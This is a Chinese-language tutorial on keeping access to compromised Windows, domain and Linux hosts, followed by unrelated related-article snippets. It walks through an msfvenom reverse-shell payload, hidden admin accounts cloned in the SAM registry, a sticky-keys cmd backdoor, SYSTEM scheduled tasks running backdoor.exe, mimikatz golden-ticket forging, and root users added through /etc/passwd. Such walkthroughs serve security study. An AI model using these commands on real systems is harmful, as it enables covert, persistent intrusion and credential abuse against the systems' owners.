网络安全之权限维持那点事

news2024/11/27 7:43:12

权限维持

一旦黑客成功地入侵了目标系统,他们通常会尝试保持对系统的持久访问权,以便继续执行恶意活动,如窃取敏感数据、植入恶意软件、破坏系统功能等。

权限维持的过程可能包括以下几个方面:

  1. 后门植入:黑客可能会在系统中植入后门程序,以便在未来能够轻松地再次访问系统,而不需要重新入侵。这些后门可能是通过潜在的安全漏洞、恶意软件或其他技术手段实现的。

  2. 提权:黑客可能会试图提升其在系统中的权限级别,以获取更高级别的访问权限,从而能够执行更多的操作并访问更多的系统资源。这可能涉及利用系统或应用程序中的漏洞,或者尝试使用密码破解或其他攻击手段来获取更高级别的权限。

  3. 隐藏轨迹:黑客可能会采取措施来隐藏其活动的痕迹,以避免被系统管理员或安全团队发现。这可能包括清除日志文件、篡改审计记录、隐藏恶意进程等。

  4. 持续监控和访问:一旦黑客成功维持了对系统的访问权限,他们通常会持续监视系统并继续执行恶意活动,例如窃取数据、植入恶意软件或进行其他攻击。

我们可以直接简单的把权限维持理解为我们在目标上安装了一个后门,权限维持的目的是保证自己的权限不会掉,一直控制目标

本篇文章主要讲了windows和Linux及其域权限维持

Windows权限维持

Windows权限

普通权限

默认情况下,系统为用户分了7个组,并给每个组赋予不同的操作权限,管理员组(Administrators)、高权限用户组(PowerUsers)、普通用户组(Users)、备份操作组(Backup Operators)、文件复制(Replicator)、来宾用户组(Guests),身份验证用户组(Ahthenticated users)其中备份操作组和文件复制组为维护系统而设置,平时不会被使用。

管理员组拥有大部分的计算机操作权限(并不是全部),能够随意修改删除所有文件和修改系统设置只有程序信任组(特殊权限)。再往下就是高权限用户组,这一部分用户也能做大部分事情,但是不能修改系统设置,不能运行一些涉及系统管理的程序。普通用户组则被系统拴在了自己的地盘里,不能处理其他用户的文件和运行涉及管理的程序等。来宾用户组的文件操作权限和普通用户组一样,但是无法执行更多的程序。身份验证用户组(Ahthenticated users)经过ms验证程序登录的用户均属于此组。

特殊权限

除了上面提到的7个默认权限分组,系统还存在一些特殊权限成员,这些成员是为了特殊用途而设置,分别是:SYSTEM(系统)、Trustedinstaller(信任程序模块)、Everyone(所有人)、CREATOR OWNER(创建者)等,这些特殊成员不被任何内置用户组吸纳,属于完全独立出来的账户。

真正拥有“完全访问权”的只有一个成员:SYSTEM。这个成员是系统产生的,真正拥有整台计算机管理权限的账户,一般的操作是无法获取与它等价的权限的。

“所有人”权限与普通用户组权限差不多,它的存在是为了让用户能访问被标记为“公有”的文件,这也是一些程序正常运行需要的访问权限--任何人都能正常访问被赋予“Everyone”权限的文件,包括来宾组成员。

被标记为“创建者”权限的文件只有建立文件的那个用户才能访问,做到了一定程度的隐私保护。

但是,所有的文件访问权限均可以被管理员组用户和SYSTEM成员忽略,除非用户使用了NTFS加密。

无论是普通权限还是特殊权限,它们都可以“叠加"使用,“叠加”"就是指多个权限共同使用,例如一个账户原本属于Users组,而后我们把他加入Administrators组在加入Trustedinstaller等权限提升,那么现在这个账户便同时拥有两个或多个权限身份,而不是用管理员权限去覆盖原来身份。权限叠加并不是没有意义的,在一些需要特定身份访问的场合,用户只有为自己设置了指定的身份才能访问,这个时候“叠加”的使用就能减轻一部分劳动量了。

需要我们了解的权限如下

后台权限,网站权限,数据库权限,接口权限,系统权限,域控权限等

常见权限获取方法简要归类

后台权限:SQL 注入,数据库备份泄露,默认或弱口令等获取帐号密码进入。

网站权限:后台提升至网站权限,RCE 或文件操作类、反序列化等漏洞直达 Shell。

数据库权限:SQL 注入,数据库备份泄露,默认或弱口令等进入或网站权限获取后转入。

接口权限:SQL 注入,数据库备份泄露,源码泄漏,培植不当等或网站权限获取后转入。

系统权限:高危系统漏洞直达或网站权限提升转入、数据库权限提升转入,第三方转入等。

域控权限:高危系统漏洞直达或内网横向渗透转入,域控其他服务安全转入等。

Windows常见权限介绍

  1. 后台权限(Back-end Permissions):后台权限通常指的是系统或应用程序的管理后台权限,允许用户对系统进行管理和配置。拥有后台权限的用户可以访问系统的管理界面,并进行用户管理、内容管理、配置设置等操作。这些权限通常由管理员或具有特定权限的用户持有。

  2. 网站权限(Website Permissions):网站权限指的是用户在网站上的操作和访问权限。这包括用户对网站内容的访问权限、发布内容的权限、评论权限等。不同用户可能具有不同级别的网站权限,例如普通用户、编辑、管理员等。

  3. 数据库权限(Database Permissions):数据库权限是指用户对数据库中数据和结构的访问和操作权限。拥有数据库权限的用户可以执行数据库查询、更新、删除等操作。数据库权限通常包括对特定表、视图、存储过程的操作权限。

  4. 接口权限(API Permissions):接口权限是指用户对系统或应用程序提供的API(应用程序接口)的访问和使用权限。拥有接口权限的用户可以使用API执行特定的功能或访问特定的数据。接口权限通常通过API密钥或访问令牌进行控制。

  5. 系统权限(System Permissions):系统权限是指用户对计算机系统的操作和管理权限。这包括对操作系统、文件系统、网络配置等的管理权限。拥有系统权限的用户可以执行系统级别的操作,如安装软件、配置网络、管理用户账户等。

  6. 域控权限(Domain Controller Permissions):域控权限是指在Windows域环境中对域控制器的操作权限。域控制器是Windows域中的关键服务器,用于集中管理域中的用户账户、组策略、安全性等。拥有域控权限的用户可以执行域中的管理操作,如管理用户账户、设置组策略、配置域信任关系等。

Windows权限维持

Windows 操作系统常见持久性后门:

通过博客的翻阅和学习看到了几种常见的 Windows 系统后门,包括Windows系统隐藏用户、Shift粘粘键后门、注册表后门、Windows 计划任务、Windows 新服务后门、WMI后门等等。

(1)Windows系统隐藏账户

该方法是通过建立隐藏账户,制作系统用户远程控制后门,维持目标Windows系统权限。

演示一下:

(1)在目标主机cmd中输入以下命令,创建一个名为whoami$的隐藏账户,并把该隐藏账户设置为管理员权限。

首先我们拿到windows10的权限:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.235.128 LPORT=1000 -f exe -o met.exe

 将我们生成的met.exe文件在目标机打开。

设置本地IP和监听端口

直接run

shell拿到管理员权限乱码的话 chcp65001就可以解决

接下来进行权限维持

在目标主机cmd中输入以下命令,创建一个名为whoami$的隐藏账户,并把该隐藏账户设置为管理员权限。

net user whoami$ Liu78963 /add
net localgroup administrators whoami$ /add

查看电脑用户

net user hack$ Admin@123 /add

查看没有这个用户

注册表克隆用户隐藏

因为$用户可以看到,在上一步的基础上我们打开注册表,在注册表操作进行用户隐藏

提示:该操作建立在上面$符号隐藏用户的基础上的

虽然上面net user看不见该隐藏用户,但是在控制面板和计算机管理的本地用户和组中,仍然是可以看的到该用户的

为了更好地隐藏我们的后门账户,我们还要开启目标主机的远程桌面进行如下操作。

打开注册表编辑器,找到HKEY_LOCAL_MACHINE\SAM\SAM,单机右建,选择“权限”,把Administrator用户的权限,设置成“完全控制”权限,然后关闭注册表编辑器,再次打开即可。

1603594925_5f94eaad965ba49e8f807.png!small?1603594925728

这样SAM下的文件就都能看见了。

然后,在注册表编辑器的HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names处,点击Administrator用户,在左侧找到和在右边显示的键值的类型一项“0x1f4”相同的目录名,也就是箭头所指目录“000001F4”:

1603595456_5f94ecc0a8929859dea9f.png!small?1603595456658

复制000001F4目录中的F键的值:

1603595572_5f94ed34aee514da735e3.png!small?1603595572724

然后找到与隐藏账户whoami$右边类型的键值“0x3e9”相同的目录名,也就是。

1603595699_5f94edb38255cef869458.png!small?1603595699463

然后将000001F4的F值粘贴到000003E9的F值中,点击确定:

1603595867_5f94ee5be472504f50292.png!small?1603595867883

然后从注册表中右键导出000003E9和whoami$,并删除whoami$用户 net user whoami$ /del:

1603596035_5f94ef03270db8bfd87dc.png!small?1603596035640

1603596070_5f94ef261cfe970ed171d.png!small?1603596085555

1603596143_5f94ef6f269de031a83ac.png!small?1603596143135

此时,查看注册表以及本地用户和组或者控制面板,whoami$用户已经没有了:

最后,将刚才导出的两个后缀为.reg的注册表项导入注册表中:

1603596406_5f94f0765dd947291b28b.png!small?1603596406503

这样我们的隐藏账户whoami$就创建好了。现在,不管你是在命令提示符下输入 net user 或者在系统用户管理界面都是看不到whoami$这个账户的,只有在注册表中才能看得到。

2.Shift后门

shift快捷键的介绍

Windows的粘滞键是c:\windows\system32\set\sethc.exe的程序,它本是为不方便组合键的人设计的,windows系统按5下shift后,windows就执行了system32下的sethc.exe,也就是启用了粘滞键

但是当我们来登录系统停留在登录界面的时候,系统还不知道我们将以哪个用户登录,所以这个时候连续按5次shift后的话系统将会以system用户(具有管理员级别的权限)来运行sethc.exe这个程序

shift后门原理

思考一下,如果我们知道了这个程序的绝对路径,那么我们就可以将cmd.exe伪装成这个粘滞键程序,当我们连按五次shift键时,便会弹出一个CMD命令行窗口,那么我们就可以无需登录进系统便可以控制目标主机了。

shift后门制作

1.在命令行执行以下命令,为复制cmd.exe为sethc.exe

copy C:\WINDOWS\system32\cmd.exe C:\windows\system32\sethc.exe

但是会提示拒绝访问

2.需要更改文件权限,如下命令

takeown /f c:\windows\system32\*.* /a /r /d y       注释:强制将当前目录下的所有文件以及文件夹,子文件夹下的所有者更改为管理员组(administrator)
cacls c:\windows\system32\*.* /T /E /G administrator:F  注释:在当前目录下的文件,子文件夹的NTFS权限上添加管理员组(administrator)完全控制权限(并不删除原有NTFS权限设置)

 (这里我的管理员账户是client所有我把administrator换成了client)在搞一下

copy C:\WINDOWS\system32\cmd.exe C:\windows\system32\sethc.exe

此时再回到账户页面将会发现粘滞键变成了cmd

总结:

粘滞键程序名称为“sethc.exe”,其路径为“c:\windows\system32\sethc.exe”。利用粘滞键做后门是一种比较常见的持续控制方法。其基本流程如下:

  • 首先,我们手动或利用工具,找到sethc.exe将其删除或改名为sethc.exe.bak,接着将cmd.exe程序复制一个副本,并命名为“sethc.exe”。

  • 最后,重启计算机再次按下5次Shift键时,就会弹出CMD界面,后门制作成

参考:域内权限维持思路总结_domain\account\users-CSDN博客

Windows 计划任务后门

Windows 计划任务后门是一种常见的持久化技术,它利用了Windows操作系统中的计划任务功能,使得恶意程序可以在特定的时间点执行,从而实现对目标系统的持续控制。这种后门通常包括以下几个关键步骤:

  1. 利用计划任务功能创建任务:黑客首先利用Windows操作系统提供的计划任务功能创建一个任务,设置任务在指定的时间点或间隔执行。这可以通过命令行工具(如schtasks命令)、PowerShell脚本或者编程接口(如Windows API)来完成。

  2. 指定执行的有效负载:在创建任务时,黑客会指定要执行的有效负载,即恶意程序的路径或命令。这个有效负载可以是位于目标系统本地磁盘上的可执行文件、PowerShell脚本,或者是远程位置(如Web服务器)上的文件。有效负载可以是任何可执行的代码,用于实现黑客所需的功能,比如建立远程连接、窃取信息、执行攻击等。

  3. 持久化设置:黑客通常会修改计划任务的设置,使得任务在系统启动时自动启动,或者定期执行,从而实现持久化。这可以通过设置任务的触发器(Trigger)来实现,比如设置任务在用户登录时执行,或者设置任务每隔一段时间执行。

  4. 隐藏迹象:为了尽量减少被检测到的风险,黑客可能会采取一些措施来隐藏计划任务后门的迹象,比如修改任务的名称、描述、触发器等信息,或者在执行过程中尽量减少对系统资源的占用。

1)利用 at 命令

at 命令是Windows自带的用于创建计划任务的命令,但是他主要工作在Windows Server 2008之前版本的操作系统中。我们可以通过at命令通过跳板机在目标主机DC上创建计划任务,让计算机在指定的时间执行木马程序,从而获得对内网目标主机的控制。

1. 首先在目标主机上传metasploit生成的后门程序:

1603605135_5f95128f5471c6a058f19.png!small?1603605135298

2. 然后进入目标主机的shell使用net time命令确定目标主机的当前时间:

net time

1603609183_5f95225f6e89a7efe81b4.png!small?1603609183395

3. 接着在目标主机的shell中使用at命令创建计划任务,让目标主机在指定的时间运行metasploit木马程序:

at 15:01:00 /every:M,T,W,Th,F c:\windows\system32\backdoor.exe

1603609220_5f95228418a8fd454bef0.png!small?1603609220061

如上图所示,计划任务创建成功,目标主机将在每个工作日的15:01:00执行后门程序,我们便可以在这个时间获得目标机器的控制权:

1603609306_5f9522da119d12e426741.png!small?1603609312089

(2)利用 schtasks 命令

上面我们讲了用at命令创建计划任务,但是该命令已经被Windows Vista、Windows Server 2008及之后版本的操作系统废弃了,代替他的是schtasks命命令。schtasks命令比at命令更为灵活、自由。下面来演示schtasks命令的使用,于是,攻击者开始使用schtasks命令来代替at命令。

利用schtasks创建后门的大致流程如下:

1. 首先在目标主机上传metasploit生成的后门程序。

2. 然后在目标主机上创建一个名称为“backdoor”的计划任务。该计划任务每分钟启动一次,启动程序为我们之前到C盘下的backdoor.exe,启动权限为system。命令如下:

schtasks /create /tn backdoor /sc minute /mo 1  /tr c:\windows\system32\backdoor.exe /ru system /f

1603610327_5f9526d7d9ecc3cf38aab.png!small?1603610327819

然后新开一个metasploit监听,等待一分钟后这个监听便收到了目标主机的session:

1603610417_5f9527311484cdfbcfe19.png!small?1603610423560

并且这个session还是system权限的。

域控制器权限维持常见思路

在我们拿到域控的控制权后,为了我们对域控制器权限的丢失,需要使用权限维持的方法来维持我们取得的权限。下面我们将介绍几种常用的对域控制器现有权限进行持久化的操作,包括黄金票据、白银票据、Skeleton Key万能密码、DSRM 后门、SSP 注入、SID History 后门、等等。

内网横向——域渗透之黄金票据复现-CSDN博客黄金票据(Golden ticket)

在Windows的kerberos认证过程中,Client将自己的信息发送给KDC,然后KDC使用krbtgt用户的Hash作为密钥进行加密,生成TGT。那么如果获取到了krbtgt的Hash值,不就可以伪造任意的tgt了吗。因为krbtgt只有域控制器上面才有,所以使用黄金凭据意味着你之前拿到过域控制器的权限,黄金凭据可以理解为一个后门。

先假设这么一种情况,原先已拿到的域内所有的账户Hash,包括krbtgt这个账户,由于有些原因导致你对域管权限丢失,但好在你还有一个普通域用户权限,碰巧管理员在域内加固时忘记重置krbtgt密码,基于此条件,我们还能利用该票据重新获得域管理员权限,利用krbtgt的HASH值可以伪造生成任意的TGT(mimikatz),能够绕过对任意用户的账号策略,让用户成为任意组的成员,可用于Kerberos认证的任何服务。

攻击者再使用黄金票据进行票据传递攻击时,通常要掌握以下信息:

  • 需要伪造的域管理员用户名
  • 完整的域名
  • 域SID
  • krbtgt的NTLM Hash

测试环境如下所示:

我们已经获得了普通域用户主机Windows7和域控制器DC的控制权,下面我们演示如何用黄金票据建立一个稳固的后门。

域成员主机:Windows 7(192.168.183.131)
域名:DEMO.com
用户名:douser

域控制器:192.168.183.130
域名:DEMO.com 
用户名:administrator

首先,我们登上域控制器,上传mimikatz,然后执行如下命令抓取krbtgt用户的Hash值并获取域sid:

privilege::debug
lsadump::lsa /patch        // 专用于在域控制器上导出用户密码或hash

如上图所示,我们得到krbtgt用户的Hash为:7c4ed692473d4b4344c3ba01c5e6cb63,域sid为S-1-5-21-979886063-1111900045-1414766810

然后,我们切换到普通域用户的机器Windows 7,用mimikatz生成名为ticket.kirbi的TGT凭证,用户名为域管理员用户(administrator):

kerberos::golden /user:administrator /domain:DEMO.com /sid:S-1-5-21-979886063-1111900045-1414766810 /krbtgt:7c4ed692473d4b4344c3ba01c5e6cb63 /ticket:ticket.kirbi

kerberos::golden /user:需要伪造的域管理员用户名 /domain:demo.com /sid:域sid /krbtgt: krbtgt用户的Hash /ticket:ticket.kirbi

生成TGT凭证ticket.kirbi成功,名为ticket.kirbi,然后使用mimikatz将凭证ticket.kirbi注入进去:

kerberos::purge   //先清空所有票据
kerberos::ptt ticket.kirbi    //再将生成的票据注入域用户主机Windows7中
// kerberos::ptt <票据文件>   

此时查看当前会话中的票据,就可以发现刚刚注入的票据在里面了:

kerberos::tgt

到此,注入成功。输入“exit”退出mimikatz,此时,攻击者就可以利用Windows 7任意访问域控制器了,可以使用net use进行登录

dir \\WIN-ENS2VR5TR3N\c$

Linux权限维持

一、木马隐藏

权限维持简单来说就是怕我们好不容易拿到的权限因为用户的排查或者一些原因导致丢失,而如果我们能够将木马藏得够深,够隐蔽,让用户无法排除出来,这样就能让我们的木马一直在目标的电脑上,自然也就实现了权限维持

1、时间伪造

2、隐藏文件

Linux中以"."(点号)开头的就是隐藏文件

而隐藏文件单纯使用ls是无法查看的,需要使用ls -la才能查看到,如下

可以看到我在该目录创建了一个.hiden.txt文件,再使用ls,并没有找到该文件,而使用ls -la命令就成功找到了刚才创建的.hiden.txt

而如果目标的管理员没有使用ls -la查看文件的一个习惯的话,就很可能找不到这个文件

3、chattr命令

Linux chattr命令用于改变文件属性。

这项指令可改变存放在ext2文件系统上的文件或目录属性,这些属性共有以下8种模式:

a:让文件或目录仅供附加用途。
b:不更新文件或目录的最后存取时间。
c:将文件或目录压缩后存放。
d:将文件或目录排除在倾倒操作之外。
i:不得任意更动文件或目录。
s:保密性删除文件或目录。
S:即时更新文件或目录。
u:预防意外删除。

二、添加用户

1、正常生成

步骤如下

1、创建一个名为test,密码为123456的root权限用户

useradd -p `openssl passwd -1 -salt 'salt' 123456` test -o -u 0 -g root -G root -s /bin/bash -d /home/test

2、创建之后直接使用root权限登录就可以了

2、改写文件

步骤如下

生成加密后的密码,如下就是生成加密后的123456

perl -le 'print crypt('123456',"addedsalt")'

将加密结果写入passwd文件,这里就是test用户,密码为123456

echo "test:adrla7IBSfTZQ:0:0:root:/root:/bin/bash" >>/etc/passwd

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1582262.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

蓝桥杯单片机要点——第十二届省赛(含代码)

题目&#xff1a; 用到的模块&#xff1a; LED单个点亮&#xff08;建议用sbit&#xff0c;文件开头定义单个引脚&#xff09; 数码管动态显示 矩阵键盘 ds18b20&#xff0c;用到onewire.c DAC转化&#xff08;步骤见文章末尾的易错点&#xff09;&#xff0c;用到iic.c m…

一本书了解AI的下一个风口:AI Agent

在数字化浪潮中&#xff0c;人工智能&#xff08;AI&#xff09;已成为推动现代社会前进的强劲引擎。 从智能手机的智能助手到自动驾驶汽车的精准导航&#xff0c;AI技术的应用已经渗透到生活的方方面面。 随着技术的飞速发展&#xff0c;我们正站在一个新的转折点上&#xff…

Playwright安装和基本使用(ui/web自动化)

1.简介 Playwright是2021年微软开源的一个项目「playwright-python」。针对 Python 语言的纯自动化工具&#xff0c;它可以通过单个API自动执行 Chromium&#xff0c;Firefox 和 WebKit 浏览器&#xff0c;同时支持以无头模式、有头模式运行。 Playwright&#xff08;Git&…

美国CPC认证是什么认证

美国CPC认证是一种针对儿童产品的认证&#xff0c;旨在确保这些产品的安全性。CPC全称为Consumer Product Certification&#xff0c;即消费品认证&#xff0c;是美国消费品安全委员会&#xff08;CPSC&#xff09;所推行的一种自愿性认证制度。通过CPC认证的产品&#xff0c;意…

人证比对接口在游戏行业的作用

人证比对接口又叫实人认证接口、人脸身份证比对接口、人脸实名认证接口&#xff0c;这个接口在很多行业都有重大作用&#xff0c;特别是确认当前用户信息至关重要。今天我们来聊一聊实人认证接口在游戏行业的作用。 今天为什么聊这个话题呢&#xff0c;主要就是最近热搜都被杭…

AR远程空间标注Vuforia+WebRTC音视频通话和空间标注功能

AR远程空间标注VuforiaWebRTC音视频通话和空间标注功能 视频学习地址&#xff1a;https://www.bilibili.com/video/BV1ZT4y187mG/?vd_sourcefc4b6cdd80b58c93a280fd74c37aadbf

LeetCode110:平衡二叉树

题目描述 给定一个二叉树&#xff0c;判断它是否是 平衡二叉树 解题思想 使用递归依次计算左子树的高度和右子树的高度 代码 class Solution { public:int height(TreeNode* node) {if (node nullptr) return 0;int leftT height(node->left);if (leftT -1) return -1;…

武汉星起航:亚马逊助力中国卖家拓展全球市场,实现品牌价值最大化

亚马逊&#xff0c;作为全球电商的领军平台&#xff0c;不仅为消费者提供了丰富的购物选择&#xff0c;同时也为中国卖家带来了前所未有的益处和在中国市场的巨大优势。 亚马逊为中国卖家提供了一个全球化的销售平台。这个平台不仅连接了中国与世界的消费者&#xff0c;还为中…

标准C库文件操作

open 系列API 和 fopen系列API的区别 1.来源: -open 是UNIX系统调用函数(包括LINUX系统)&#xff0c;返回的是文件描述符 -fopen是ANSIC标准的C语言库函数&#xff0c;在不同系统重调用不同内核的API 2.移植性: fopen 是C标准函数&#xff0c;具有良好的移植性&#xff1b; 而…

Vue 移动端(H5)项目怎么实现页面缓存(即列表页面进入详情返回后列表页面缓存且还原页面滚动条位置)keep-alive简单使用

一、需求 产品要求&#xff1a;Vue移动端项目进入列表页&#xff0c;列表页需要刷新&#xff0c;而从详情页返回列表页&#xff0c;列表页则需要缓存并且还原页面滚动条位置 二、实现思路 1、使用Vue中的keep-alive组件&#xff0c;keep-alive提供了路由缓存功能 2、因为我项…

基于知识图谱的推理:智能决策与自动发现

基于知识图谱的推理&#xff1a;智能决策与自动发现 一、引言 在今天这个数据驱动的时代&#xff0c;我们经常会听到人们提及“知识图谱”这个词。知识图谱&#xff0c;作为一种结构化知识的表达方式&#xff0c;已经成为智能系统不可或缺的一部分&#xff0c;它通过连接大量的…

ModuleNotFoundError: No module named ‘mlxtend‘

from mlxtend.plotting import plot_decision_regions 报错信息: ModuleNotFoundError: No module named mlxtend Jupyter和Spyder报错原因&#xff1a;因为anaconda下没有这个模块&#xff0c;需要安装mlxtend 解决方案&#xff1a; 1.打开anaconda(或终端) 2. 点击路径点…

项目文章| Plant CellDAP-seq解析草莓NAC转录因子FvRIF的调控网络

DAP-seq是一种体外研究蛋白与DNA结合的技术&#xff0c;该技术利用麦胚乳表达体系表达目标蛋白然后与基因组DNA文库体外孵育&#xff0c;得到目标蛋白的结合信息。与ChIP-seq和CUT&Tag不同&#xff0c;DAP-seq不需要抗体&#xff0c;在植物中应用更为广泛。今天我们分享一篇…

Java开发面试题分享

目录 1、简述MyISAM和InnoDB的区别 2、简述Hash和B树索引的区别 3、简述MyBatis的实现逻辑 4、#{}和${}的区别 5、简述Mybatis的优缺点 6、当实体类中的属性名和表中的字段名不一样时怎么办&#xff1f; 7、resultType与resultMap的区别 8、如何执行批量插入 9、Mybat…

[中级]软考_软件设计_计算机组成与体系结构_12_概述及回顾

概述及回顾 总纲考情分析与分值海明校验码计算公式重点 总纲 考情分析与分值 海明校验码计算公式 2 r m r 1 2^r mr1 2rmr1 重点 数据的表示是计算题型的基础计算机组成中的CPU组成计算机组成中的存储系统&#xff0c;是核心重点的考察CISC与RISC及流水线执行时间的求取

YOLOv8在windows平台的C++推理

前言 YOLOv8很多人很多人很熟悉了,现在V9都已经出来了,学习没有比别人更新的快! 个人记录一下在windows平台使用C++推理的记录。 环境配置 YOLOv8的传统的环境配置,就不多说,网上很多参考教程。 需要注意的点就是,本次C++推理需要使用OPENCV的DNN模块,所以我们需要下…

每日OJ题_BFS解决FloodFill①_力扣733. 图像渲染

目录 BFS解决FloodFill简介 力扣733. 图像渲染 解析代码 BFS解决FloodFill简介 FloodeFill算法即填充算法&#xff0c;中文&#xff1a;洪水灌溉&#xff0c;算法原理就是从一个点开始向四周扩散&#xff0c;向周围可以走到的点填充颜色&#xff0c;直到将可扩散到的点全部填…

ElasticSearch分词检索

1. 倒排索引&#xff1a;表示一种数据结构&#xff0c;分词词条与文档id集合的隐射关系 2. 它跟关系型数据库是一种互补的关系&#xff0c;因为关系型数据库支持事务操作&#xff0c;满足ACID原则 3. 索引库的文档字段只允许新增不允许修改 1.创建索引库 put /索引库名称2.1 …

Altair® (澳汰尔)Inspire™ Render —— 强大的 3D 渲染和动画工具

Inspire Render 是一种全新 3D 渲染和动画工具&#xff0c;可供创新设计师、建筑师和数字艺术家以前所未有的速度快速制作精美的产品演示。 借助基于物理特性的内置高品质全局照明渲染引擎 Thea Render&#xff0c;可以快速创建、修改和拖放各种材质并添加照明环境&#xff0c…

风电场智能化转型基于ARM工控机的HDMI数据实时监控显示

全球能源结构不断调整的大背景下&#xff0c;智能电网、太阳能发电、风能发电等清洁能源领域正经历着一场由技术创新引领的深刻变革。在这场变革中&#xff0c;ARM架构的工控机凭借其出色的性能、低功耗及高度可定制化的特点&#xff0c;正在成为能源管理系统的核心组件&#x…